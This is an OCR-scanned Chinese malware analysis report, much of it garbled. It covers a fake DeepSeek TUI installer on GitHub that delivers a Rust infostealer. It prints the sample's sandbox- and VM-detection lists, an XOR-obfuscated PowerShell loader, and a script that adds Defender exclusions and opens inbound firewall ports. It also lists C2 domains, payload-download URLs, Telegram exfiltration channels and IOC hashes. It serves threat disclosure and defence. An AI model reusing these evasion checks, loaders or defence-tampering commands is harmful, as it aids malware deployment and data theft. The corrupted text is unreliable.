AR B BB , DeepSeek TUIR IR TEAE

®
LTFEAIRA

Bz

FriEI H DeepSeek TULE—A1DeepSeek KARTY A 1 (I 7EA IR IZI TSRS BER |, I HAKES DeepSeek VAR A R FIFF A& % Hunter Bownf{H 308 #1
b, IBZIRE RS BIKERE.

A REBIMERFOEINE] |, BEEi#eEDeepSeek TUMRERE LF , FFiaiRKIES | Z£EGithub EMERE BF , iR EERMF. TRSE—NEHIE
fCiDeepSeek TUIRME B , $=1EHE &/E.

TR SN AEZENUIE OpenClaw B A —5([1] , FHEMERNEEEASES L MEMARIIHREERR2] , KPS BAF5R
KEER A ETEIFEAY , EAMEERAEXR.

VELR AT
EERHTERENE S ERXReleases AT , AABIA L{E,

TER7ZEAE BT BEMEXEXHERMNT,

X%  DeepSeek-TUI x64.exe
MD5 b96c0d609¢1b7e74f8chb1442bf0b5418
sEdE  2026-04-29 08:53:41 UTC

HARBIEERSNT.

#y Dec

S ESE Bt = HEEE Lanss

=3 B

1EE
{4i7HBE  Decentralized packet routing protocol for d...
Eicl RIFRER

ithEE 3.7.16.0

FRE#H  Hydra Network

RiEE 5.5

RER Copyright © 2024-2025 Lernaean Systems
Furh 116 MB

fERIEHER  2026/4/29 16:53

B= BT

[Ei5304E HydraNetwork.exe
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https://mp.weixin.qq.com/s/SPN25Z4cLCHu7bEhVYTSNQ

(—) BITHSARN

HRSITARNARG XA BWHEM : TERO (B@MiEr—RAR) + TIER1/2 (FJEFSAFANH]) o A, BETHNZMEBCEE R4t
OneSync.exe [FIFEIFIE R VAR | A8 " src\anti_bot.rs”, "TIERO: VirtualBox default NAT IP (10.0.2.15) detected”, "TIERO: Bot farm hostname

pattern” &4 &

RIARDPHEARFET RN , ZM ARSI TR HIE .,

(1) TIEROMEHGN , FFEERA REENEEFIE NP,

R BRBER

KA R R hyper-v, vmware, gemu, virtualbox, parallels (k/NEZE/E)

BEFERI A& ollydbg.exe, x32dbg.exe, x64dbg.exe. windbg.exe, ida.exe, ida64.exe, processhacker.exe, procexp.exe.
procexp64.exe, wireshark.exe, fiddler.exe, charles.exe, sandboxie.exe, vmtoolsd.exe, vmwaretray.exe, vmwareuser.exe,
vboxservice.exe, vboxtray.exe

FEWSDLLAE & cuckoomon.dll (Cuckoo ¥b%5) . SbieDIldll (Sandboxie) . SxIn.dll, cmdvrt32.dl, cmdvrt64.dll (Comodo ¥b%5) AN_EVM

iy IXFNIC#Fvmouse.sys, vmhgfs.sys, VBoxMouse.sys, VBoxGuest.sys, VBoxSF.sys. VBoxVideo.sys. Wasp.sys

ELBAFLK A& malware, virus, sandbox, sand box, wdagutilityaccount, sample, currentuser, maltest, bruno. jzdekker, Janet Van

il

Dyne. Harry Johnson

VirtualBoxZkiA

T 4mA 1P 3#141£10.0.2.15

NAT IP %1

VM MAC OUI MAC HbHFRT43 B4 8414 08:00:27 (VirtualBox) . 00:15:5D (Hyper-V) . 52:54:00 (KVM/QEMU) . 00:23:45 , B ERE
Ll WA HIERA MAC Hihi 3T

Bot farm¥* Al BLEHPEME T KEHEKBot farmEA|%Z (esimdigB. kismujmC. gpslgmrD , #RFERIFHEZ K 8 FRIFEH.E)

FE A

GPUMH&E MZE HKLM\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be 10318} T B /ri&EAr 25 F4EHK

DriverDesc & , A FiR%! hyper-v, vmware, virtualbox, parallels, gemu EiUtE k.

(2) BETIEROMBACMIK RS NI TN B , HE#M KB AT BER DI,

PR WESME

GPUES 1. S ES , D% GPU 24 # : microsoft basic display adapter, vmware svga, virtualbox graphics, hyper-v video, gemu;
2. AL FIHIERS , &% GPU B4 8 : geforce rtx 2/3/4, geforce gtx 10/16. radeon rx 5/6/7, quadro, radeon pro. rtx a,
intel(r) uhd/iris/hd graphics, amd radeon(tm) graphics;
3. TGPUEE , 14y

CPUi¥4 Xeon/EPYC—TE ; CPURLURITRITSY : <2(Bi3 KK )/=2/4-7/>T(FidY)

RERN <3.5GB(#R AT & )/3.5-4.5/=8(F 4> /=16 (I 5))

e NN ARG <40GB>200GB—/IN4y ; 45AH500GB/250GB— i B NP Fa R

R PUZRIESY : <30(CRITICAL)/30-49/50-79/2200(F %)
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izt PU4RIESY © <BO(HE T £E)/60-99/100-299/=300(i4>)

DR 800x600/1024x768/1280x720— 1114} ; 1920x1080— &4y

BIOSF3IS  ete9t8e8t3/HEMBDR4/0311-3550-2146-3025-5233-5781-38/0/1234567890 (I #A/MEARUIAEE WFFIS)
REH

BIOS3k4#i7]  seabios/bochs/qemu/vrtual/hyper-vivmware/google/vbox/innotek ( EEHALF& BIOS F&r&k)

VMER VirtualBox/Google Compute Engine/Virtual Machine (<864 )

FEALERIAGR  <Bmin—f04>

(3) BMEEE ERLWMAN , REEF DRI , A LMMRBEEETH. TRMZHBRAMFsvc_service exe R FFAEXRAMGIEEE.

BERINRGMENEITHEARFEER , 2HIRREE : "Sorry, your system does not meet the minimum requirements.” , X 545 IE1T.

Preparing installation...

_»= |

() R2FXH

WMRIMFAIMIE , PAITA0 T powershellf{AL,

UgHARREX1xATVViTUFJDAS IEANKW 3xNXk 1 EXwJoRVScQE 1VY k1 BSQULDAFoRVSIT1hFQOIMCAQIS 1t 8TVENQVECaEVe SUSYRUNCEQwWBYENPTUB2Q L SYDAGE
CEpbfEleTUFfAMBDTOLAfENeWAUMAX xe QL h DT ONADAGECERLEE Le TUF fAnxeQLhDT ONABOWERU S YRUNCDAGECEDE £E 1e TUF £Am1 PWEVDQQUHAWLCTUSASIY
HCAQIS1tETVENOVECaUINT kBISAUOB S THDAVHCwIS1e/TASFXFgMEgwIQLIAQCIR

= [System.Convert)]:;FromBaseiString (SuowuunxT)

SwsCDO3ZN = 44

teyceil18()

foreach (5b in SuMoRdrBr) { SswGGrVXi += Sb -bxor SwsCDOjzN }

$6CdKMnvk = [System.Text.Enc 1 1:1UTFS . GenScring ($swhErvXi)

& ([ScriptBlock]::Creace ($6C )y
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Spl

= 'Ci\FSers!

2 £p2 = "Senv:TEMP™
3  5p3 = 'C:\ProgramData'
4 $Sp4 = 'C:\OneDriveTemp'
5 £p5 = 'C:\Users\Public'
& S5p6 = 'C:\Windows'
7 Spaths = @(%$pl, Sp2, $p3, Sp4, 5p5, Spé)
g £al = "Ad"
g Saz = md"
10 Sml = "-M"
fmz = "p"
S5prl = "Pref”
Spr2 = "er™
£pr3 = "ence"

$addCmd = $al + $aZ + 35ml + Sm2 + Sprl + $prz + Spr3

Sepl = "-Excl"

£ep2 = "usion"

$ep3 = "Path"

SexclPath = Sepl + SepZ + Sep3

foreach ($item in $paths) {
Scmd = [scriptblock]::Create("$addCmd SexclPath 'Sitem'™)
& fcmd > $null

}

Spsl = "pow™
Sps2 = "er™
£ps3 = "sh"
Sps4 = "ell™
Sps5 = ".exe"

fprocl = $psl + Sps2 + $ps3 + Sps4 + Spss
Spwl = "pw"

Spw2z = "sh"

Spw3 = ".exe"

Sprocz = Spwl + SpwZ + Spw3

Sexpl = "-Excl™

£exp2 = "usion™

SEWl
SIW2
SEw3
$fwd

"Hew"

"-Net™

"Firewall™

"Rule"

SEfwCmd Sfwl + Sfw2 + Sfw3 + Sfwé

$pozrs = @(57001, 57002, 56001)

foreach ($port in $ports) [
$fwParams = @{

DisplayName = "Port Sport TCE"

Direction = "Inbound"

LocalPort = $port

Protocol = "ICP"

Action = "Allow"

Enabled = "Trus"

1

SfwScript = [scriptblock]::Create("S$fwlmd -DisplayName 'S ($fwParams.DisplayMams)' -Direction

£ ($fwParame.Direction) =LocalFort §($fwPazams.localPort) =Protocol §($fwParams.Protocol) =Action
$ ($fwParams.Action) -Enabled §(SfwParams.Enabled)™

& $fwScript > $null

FEIRER KM —LEWindows DefenderZ [P |, MiF

(1) 6N HERR %42 , C:\Users, $env:TEMP, C:\ProgramData, C:\OneDriveTemp. C:\Users\Public, C:\Windows

(2) HERgFFEpowershell.exefllpwsh.exe

(3) MAPS 1RE&E XA, =EAKTRI. HAIR3ENeverSend, mRIFFRIAF. PUA{RIF disable, I0AV £R3F disable, {TAUHE disable

(4) B A IEFFAR57001/57002/56001 =/ A\ sk

(Z) FRHEREBSFEREAERI

BR%sub_1400F22F5 5 Sk fif F 7T |, {E FkeyA” xnasff3wced;”,
HAREURSER BT PR RREE , MR — N ESHIE , —NE& AL,

hxxps://pastebin.com/raw/w6BVFFWQ
hxxps://snippet.host/beuskqg/raw
ME BT NAzure a4 | BRI 7ZEME , BINHEE— (F—BHNARLemR) .
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hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0311/0504vicloud.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5Bversion Type%5D=0&versionDescriptor%5Bversion%5C
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0507/0507autodate.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%?
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0207/0207Up160neSync.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5Bversion Type%5D=0&versionDescriptor%5Bvers
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e 1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0207/0207Up17WinHealhCare.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0222/0224GHonedrive_sync.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5By
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0311/svc_service.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5Bversion Type%5D=0&versionDescriptor%5Bversion%5D
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0311/0504vicloud.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5C
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0311/0504dbau.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e 1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0207/0207Up160neSync.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bvers
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0207/0207Up17WinHealhCare.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0222/0224GHonedrive_sync.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5B\
version=5.0&download=true

hxxps://dev.azure.com/sagonbretzpr/f70c627a-789c-4281-8b4e-99fa76b8bfd3/_apis/git/repositories/0239f5e1-3b3e-4f53-a525-7861596f8d9b/items?
path=/0207/0207Pureservice.7z&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5Bversion Type%5D=0&versionDescriptor%5Bversior
version=5.0&download=true

FEAP R EAAE R AR BNT
FRSB Vi
hxxps://pastebin.com/raw/5tmHDYrf TEEEhxxps://github.com/mountains-and-lakes/mountains/releases/download/mountains/lednew.7z

hxxps://mikolirentryifosttry.info/api/check/ C2 URL
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#Soft0427

AL TelegramiBEHB =

hxxps://hkdk.events/djbk1i9hp0sqoh

AL TelegramiBEHB =

-1003724698225

&% TelegramiBEH %

hxxps://pastebin.com/raw/M6KthA5Z

TR e8RS |, "8TDk2FBsKG5UN2NNc3p”

hxxps://snippet.host/uikosx/raw

TFRE R ATH 3ERD |, "8 TDk2FBsKG5UN2NNc3p"

8TDk2FBsKG5UN2NNc3p % I fR AT A BRD

(M) ZHrERAH

RERER Y M EREAHME ST

X4 PERIZME i8]
OneSync.exe/WinHealhCare.exe 2026-02-07 Z4RHE+ITRI{ES+TGREIE

onedrive_sync.exe 2026-02-24 RuniFX fk+memexec (ME—32{2H1F)
vicloud.exe 2026-05-04 FELE RS EHIEENERS
SvC_service.exe 2026-05-06 RSB IFE+CLRBIE+NTIEN
autodate.exe 2026-05-07 RS- EIHSERR 2R

TEMEEEFTEREC2 : zkevopenanul.]Jcfd,

& BEMSRABT

BHTTERE

HTTP (URLEE4 S S

& maias Ll RS AARE

@ Avils > hitps:/kdic eventsidibk 1ighpOsgoh posT

© ThaRE > hitps:/ipastebin com/raw/MBKINASZ GET

B et > hitps:Hipastebin comiraw/MBKINASZ GET

[ = > nitps:/ipastebin comrawwBBVFFWQ GET

FHATH > hitps:isnippet hostuikosx/raw GET

o e POST Tk e oo o1 000 ST 38
e R

v

(1) OneSync.exe / WinHealhCare.exe

P HFEIHE R A Fh——+BRIOEPHIEOx1CA7DC, RIMZE R &

Health,

TWRHES KRBT | AREM17TMESBERZNERRL, sRS. BRI RGP,

. HETGENE. MEITXHEFIESE. WinHealhCare.exefJP5 AHealh , TIE
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Bt Telegram_EHRARZ.

off_1481EA230 asrcTelegramRs

AHIT jR 34254350 FF4PE socket et , AT SREIAH Z BIRTNE.
(2) svc_service.exe

R RIBRZ | REB BB ER ¥ sub_140004968H
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ZAMAFBEITRMES . EMFRRUNGE. Winlogonf FH1iafk. StartupthiE A\ S4FME ST R (LI BB MBES .
Bt netshdy 41T advfirewall firewall add rule” , RANX$56001/57001/57002 =N HIfH Ak EEFL , 5—E&FEA powershellfid Tim 0 —2.
FEVFEFMEFCLR (clroxide v1.1.1) , TEERNTERITNET assembly , MAXFFFEINT:

[*] Loading CLR with clroxide...

[+] CLR loaded successfully

[*] Executing assembly...

Could not retrieve ICLRMetaHost

[-] Failed to get CLR context:

[-] Failed to create CLR instance:

BIENT syscallSRIPZLFEEN , HiEAsyscalli A=A SuspendThread, SetThreadContext, NtCreateNamedPipeFile, NtWriteFile,

ZRRMIFERAMENTIEE | AHFFRFE"[*] Checking for user activity (Mouse)...” , "[+] User activity detected.” , {fRIEZ{ TR R AR EE RS,
(3) onedrive_sync.exe

XEN32{u (x86) A , FR#sub_402EBO , EEIIEEN : B H F-EHIRI{hI K12 —RuniE J33h—Waitable TimeriE if —memexecN1F3 3k /7
HPE., BN FTEILLTHEIFLE sve_service.exe KSR E—RES BRI B R FENNARTERUNGE+NFRI TAHFIEAES.
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(4) autodate.exe

LA R BR S-SR ES |, SefbR_E 2181 NtAllocateVirtualMemory, NtProtectVirtualMemory, UnsupportedDotNetExecutable, memexec,
GetProcAddress, CreateWaitable TimerExXWZEE MU o8 Mkt N EH T, hEBCEIT -

afpplication

aName

(5) vicloud.exe

IhRESautodate.exeis AN , TARELE AR,
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BIRREX

BB S 775178 OpenClawi]
EERAR KB EESN—ES.

IR A L IPDBRE 42" ClawCode.pdb” , KEXEIZ MK ARUSUREEE M , KBS AE BHRE-SAIM XK.

MD5

CEEIRME, 21nd — , HEREAERRN TRURLIIC2I A MEES | REAMIK{IEDeepSeek TUIRE )

SREHTE)

IERH

7de2896e373342e0f3b765c855bf7396

2026-04-29 08:30:56 UTC

bbg_free_x64.exe

78c11¢c45c00a9c22f537c59a472beca

2026-04-27 11:47:52 UTC

CatGatekeeper_x64.exe

df36a31148d2c64 14bdafeab771ea728

2026-04-27 12:32:54 UTC

CatGatekeeper_x64.exe

14920c9751d20452a1006d20b8e73234

2026-04-27 13:44:27 UTC

CatGatekeeper_x64.exe

f6d328422e7ca22e70ab6aa71315450f3

2026-04-29 08:37:03 UTC

CatGatekeeper_x64.exe

86¢7f2a3c307928daaca7c1df3ea5d72

2026-04-29 08:38:34 UTC

CatGatekeeper_x64.exe

dbaa133fd3d1a834460206d83b480f80

2026-04-27 12:36:35 UTC

ClaudeDesign-Optimized_x64.exe

22c0c7d441fd22432cfe7854b59ba82b

2026-04-29 08:43:07 UTC

ClaudeDesign-Optimized_x64.exe

a224f44bdac16250d8093df68e05b512

2026-04-29 08:40:05 UTC

DeepSeek-TUI_x64.exe

6861fa47889e0340ab7efaab448c56b6

2026-04-29 08:41:36 UTC

DeepSeek-TUI_x64.exe

437e4bdb12d7fa8d1c9a9e9db84b8726

2026-04-29 09:22:41 UTC

DeepSeek-TUI_x64.exe

fbfe7513685913e6f878647eec429d45

2026-04-27 11:59:59 UTC

deepseek-v4-pro_x64.exe

562d48524313d414b5a419fed6ca10aa

2026-04-29 09:30:25 UTC

DV4-MCP-Setup.exe

df8a2e7aa46af996bdf67d79601671c3

2026-04-27 12:38:22 UTC

fraudGPT_x64.exe

f101a346502a324320f952d39e217064

2026-04-29 09:52:02 UTC

fraudGPT_x64.exe

5d14461718b74b86fdd68c6aee801dc4

2026-04-29 09:28:47 UTC

GLM5-Local_x64.exe

556b35236eeb111b0606d88a7aa3fd87

2026-04-27 11:58:08 UTC

gpt-image-2-desktop.exe

ff371b43786¢cbb87dab325ce17cf8b7c

2026-04-29 08:46:08 UTC

gpt-image-2-desktop.exe

1bd1df4f228ecd29a9b6fab48beaa366

2026-04-29 09:34:59 UTC

GrokCLI_x64.exe

975bd8eb56716adbcadb5216592a17¢c7

2026-04-27 12:21:56 UTC

Hermes-Agent_x64.exe

347980085c8926d5a1ff8e15a31fd812

2026-04-29 09:19:34 UTC

Hermes-Agent_x64.exe

10/13



46917d8326d77e4e3c39cb843dbfc675  2026-04-27 12:40:09 UTC KawaiiGPT_x64.cpl.exe

b6f77b48223f57c67f00ccd8ab3d047e 2026-04-29 09:50:26 UTC KawaiiGPT_x64.exe

8dde7a417130ae78a3f2aeed1f5b8f58  2026-04-27 13:50:42 UTC  Kimi-K2.6_x64.exe

4c7abc81b308fc874ec0de4f026db260  2026-04-29 09:21:03 UTC  Kimi-K2.6_x64.exe

48dd212fae0086822d4ae7696cc61693  2026-04-27 11:51:02 UTC  LTX-2.3_x64.exe

faa5f780fb0e0786dd1a2bd19af290ca 2026-04-27 12:34:44 UTC opus-4-7_x64.exe

6721f30d84f58532d877f2b31bfc9162 2026-04-29 09:25:41 UTC opus-4-7_x64.exe

a9d492ab22400257f756f0308e06f04c ~ 2026-04-29 08:32:28 UTC  worldmonitor_x64.exe

d0a92b090279894f4628bc3d627fbde0  2026-04-29 09:56:46 UTC WormGPT_x64.exe

244k

=R

MOpenClawZE|DeepSeek TUI , PAR EABARMTS IEEBBASMAITR , BERAMEZR R , RUTBCKHRE, B RARHMERE , RINAXLEEK
HE RROFEER —MFEIENNIGE K , RUTEBARER AR T,

BEl , 2T aREEMERT ONEMEIREUEN AT , AFTREEMERTE (TIP) | X¥, XIRSEBEMMEMARL. FTRENGSOC, HR
EEBRBANE | CESHF IR,

Too
HEE  awmurs
ALPEFIA | #gisres

iR AR 7S
LEHALPHARS
4 ilﬂ‘nﬂﬂ
'p& &
- :

=

I0C

MD5
b96c0d609c1b7e74f8cb1442bf0b5418
7de2896e373342e0f3b765c855bf7396
78c11c45c00a9¢22f537c59a472beca
df36a31148d2c6414bdafeab771ea728
14920c9751d20452a1006d20b8e73234
f6d328422e7ca22e70a6aa71315450f3
86¢7f2a3c307928daaca7c1df3eabd72
dbaa133fd3d1a834460206d83b480f80

22c0c7d441fd22432cfe7854b59ba82b
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a224f44bdac16250d8093df68e05b512
6861fa47889e0340ab7efaab448c56b6
437e4bdb12d7fa8d1c9a9e9db84b8726
fbfe7513685913e6f878647eec429d45
562d48524313d414b5a419fed6cal0aa
df8a2e7aa46af996bdf67d79601671c3
f101a346502a324320f952d39e217064
5d14461718b74b86fdd68c6aee801dcs
556b35236eeb111b0606d88a7aa3fd87
ff371b43786cbb87dab325ce17cf8b7c
1bd1df4f228ecd29a9b6fab48beaa366
975bd8eb56716adbcadb5216592a17c7
347980085c8926d5a1f8e15a31fd812
46917d8326d77e4e3c39cb843dbfc675
b6f77b48223f57c67f00ccd8ab3d047e
8dde7a417130ae78a3f2aeed1f5b8f58
4c7abc81b308fc874ec0de4f026db260
48dd212fae0086822d4ae7696cc61693
faa5f780fb0e0786dd1a2bd19af290ca
6721f30d8458532d877f2b31bfc9162
a9d492ab22400257{756f0308e06f04c
d0a92b090279894f4628bc3d627fbde0

(ZHrE2a )

397405106d895815a9bef8d84445af5a (OneSync.exe)
b7a76b82c2a5e16a3c346cc6aa145556 (WinHealhCare.exe)
f01e96a80f92c414dd824aefS5alac1e? (onedrive_sync.exe)
ecb3e753b60cc0f3d7de50fe7f133e49 (svc_service.exe)
68baba1bafae7db35e2eee7ea3f11882 (autodate.exe)
e€102797eb4225a93eaeeaabb9979716a (vicloud.exe)
C&C

mikolirentryifosttry.info

zkevopenanu.cfd

URL

hxxps://pastebin.com/raw/w6BVFFWQ
hxxps://pastebin.com/raw/5tmHDYrf
hxxps://pastebin.com/raw/M6KthA5Z

hxxps://snippet.host/beuskqg/raw
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hxxps://snippet.host/uikosx/raw

hxxps://hkdk.events/djbk1i9hp0sqoh

SRR

https://mp.weixin.qqg.com/s/i]NYCA9G1jSkevgPWv40v_Q

https://www.netskope.com/blog/openclaw-hologram-fake-installer-ships-rust-infostealer

13/13



